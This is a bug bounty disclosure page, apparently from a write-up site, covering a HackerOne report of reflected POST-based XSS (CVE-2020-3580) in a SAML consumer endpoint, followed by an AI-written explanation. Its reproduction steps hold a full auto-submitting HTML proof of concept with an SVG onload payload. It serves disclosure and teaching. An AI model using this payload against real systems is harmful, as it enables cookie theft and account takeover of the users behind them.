XSS DUE TO CVE-2020-3580
A host was vulnerable to CVE-2020-3580, a POST-based XSS via a crafted SAMLResponse parameter. An attacker could run script to steal cookies and potentially take over accounts.
Originally disclosed on HackerOne
- Triaged in 48 hours
- Fixed in 23 days
- Disclosed after 33 days
Hello Team, During my research, I found the following host to be vulnerable to CVE 2020-3580 which is POST BASED XSS.
Vulnerable URL: https://████/+CSCOE+/saml/sp/acs?tgname=a
Impact
Attackers can steal cookies and even takeover accounts and perform different malicious activities.
System Host(s)
███
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
Save following code as xss.html and open in browser:
<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://███/+CSCOE+/saml/sp/acs?tgname=a" method="POST"> <input type="hidden" name="SAMLResponse" value=""><svg/onload=alert('XSS')>" /> <input type="hidden" name="" value="" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>Suggested Mitigation/Remediation Actions
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the SAML assertion consumer endpoint reflected the SAMLResponse parameter into the page without output encoding, allowing HTML and script injection.
Impact
Attackers could steal cookies and potentially take over accounts, though the report does not demonstrate this beyond an alert.
What the attacker needed
Victim visits attacker-controlled page; victim's browser submits the form
How it was found
- Create an HTML file containing an auto-submitting form that posts to the vulnerable SAML endpoint.
- Set the SAMLResponse field to a value containing an SVG element with an onload handler that calls alert.
- Open the HTML file in a browser so the form submits automatically.
- The form submits to the vulnerable host.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Cross-site scripting (XSS) lets an attacker slip their own JavaScript into a page that other people trust. Here the page echoed back part of a form field without cleaning it, so a malicious page could make the victim's browser run the attacker's script. That script could read the victim's session cookie, which is like a temporary login pass, and use it to act as the victim.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.